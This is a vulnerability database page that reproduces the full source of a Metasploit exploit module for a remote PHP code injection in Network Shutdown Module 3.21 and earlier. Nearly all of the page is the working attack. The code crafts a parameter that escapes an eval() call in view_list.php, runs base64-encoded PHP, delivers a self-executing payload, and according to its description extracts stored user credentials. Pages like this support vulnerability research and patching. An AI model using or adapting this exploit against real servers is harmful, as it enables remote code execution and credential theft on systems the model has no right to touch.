Lucene search
K

Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 7 Views

Network Shutdown Module <= 3.21 Remote PHP Code Injection vulnerability in lib/dbtools.inc allowing for remote code execution and credential theft via unsanitized user input in the eval() call

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require &#39;msf/core&#39;
require &#39;msf/core/exploit/php_exe&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Network Shutdown Module &#60;= 3.21 (sort_values) Remote PHP Code Injection&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a vulnerability in lib/dbtools.inc which uses
				unsanitized user input inside a eval() call. Additionally the base64 encoded
				user credentials are extracted from the database of the application. Please
				note that in order to be able to steal credentials, the vulnerable service
				must have at least one USV module (an entry in the &#34;nodes&#34; table in mgedb.db)
			},
			&#39;Author&#39;         =&#62;
				[
					&#39;h0ng10&#39;,  # original discovery, msf module
					&#39;sinn3r&#39;   # PhpEXE shizzle
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;References&#39;     =&#62;
				[
					[&#39;OSVDB&#39;, &#39;83199&#39;],
					[&#39;URL&#39;, &#39;http://secunia.com/advisories/49103/&#39;]
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
					&#39;Space&#39;       =&#62; 4000
				},
			&#39;Platform&#39;       =&#62; [&#39;php&#39;, &#39;linux&#39;],
			&#39;Arch&#39;           =&#62; ARCH_PHP,

			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Generic (PHP Payload)&#39;, { &#39;Arch&#39; =&#62; ARCH_PHP, &#39;Platform&#39; =&#62; &#39;php&#39; }  ],
					[ &#39;Linux x86&#39;            , { &#39;Arch&#39; =&#62; ARCH_X86, &#39;Platform&#39; =&#62; &#39;linux&#39;} ]
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;Privileged&#39;     =&#62; true,
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 26 2012&#39;
		))

		register_options(
			[
				Opt::RPORT(4679)
			], self.class)
	end

	def check
		# we use a call to phpinfo() for verification
		res = execute_php_code(&#34;phpinfo();die();&#34;)

		if not res or res.code != 200
			print_error(&#34;Failed: Error requesting page&#34;)
			return CheckCode::Unknown
		end

		return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/)
		return CheckCode::Safe
	end

	def execute_php_code(code, opts = {})
		param_name = rand_text_alpha(6)
		padding    = rand_text_alpha(6)
		url_param  = &#34;#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f&#34;

		res = send_request_cgi(
			{
				&#39;uri&#39;   =&#62;  &#39;/view_list.php&#39;,
				&#39;method&#39; =&#62; &#39;POST&#39;,
				&#39;vars_get&#39; =&#62;
					{
						&#39;paneStatusListSortBy&#39; =&#62; url_param,
					},
				&#39;vars_post&#39; =&#62;
					{
						param_name =&#62; Rex::Text.encode_base64(code),
					},
				&#39;headers&#39; =&#62;
					{
						&#39;Connection&#39; =&#62; &#39;Close&#39;,
					}
			})
	end

	def no_php_tags(p)
		p = p.gsub(/^&#60;\?php /, &#39;&#39;)
		p.gsub(/ \?\&#62;$/, &#39;&#39;)
	end

	def exploit
		print_status(&#34;#{rhost}:#{rport} - Sending payload&#34;)

		unlink = (target[&#39;Platform&#39;] == &#39;linux&#39;) ? true : false
		p      = no_php_tags(get_write_exec_payload(:unlink_self =&#62; unlink))

		execute_php_code(p)
		handler
	end
end


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
7